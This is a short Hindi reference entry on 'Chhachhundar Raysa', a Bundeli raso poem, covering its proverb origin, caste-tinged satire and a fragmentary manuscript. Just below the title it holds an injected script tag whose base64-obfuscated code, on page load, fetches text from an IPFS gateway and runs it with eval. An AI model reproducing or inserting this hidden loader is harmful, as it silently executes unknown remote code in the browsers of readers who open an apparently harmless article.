छछूंदर रायसा
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- छछूंदर रायसा बुन्देली बोली में लिखा गया रासो काव्य है।
- यह एक छोटी रचना है।
- छछूंदर रायसे की प्रेरणा का स्रोत एक लोकोक्ति को माना जा सकता है- 'भई गति सांप छछूंदर केरी।'
- इस रचना में हास्य के नाम पर जातीय द्वेष भाव की झलक देखने को मिलती है।
- दतिया राजकीय पुस्तकालय में मिली खण्डित प्रति से न तो सही छन्द संख्या ज्ञात हो सकी और न कवि के सम्बन्ध में ही कुछ जानकारी उपलब्ध हो सकी।
- रचना की भाषा मंजी हुई बुन्देली है।
- अवश्य ही ऐसी रचनाएं दरबारी कवियों द्वारा अपने आश्रयदाता को प्रसन्न करने अथवा कायर क्षत्रियत्व पर व्यंग्य के लिये लिखी गई होगी।[१]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ रासो काव्य : वीरगाथायें (हिन्दी)। । अभिगमन तिथि: 15 मई, 2011।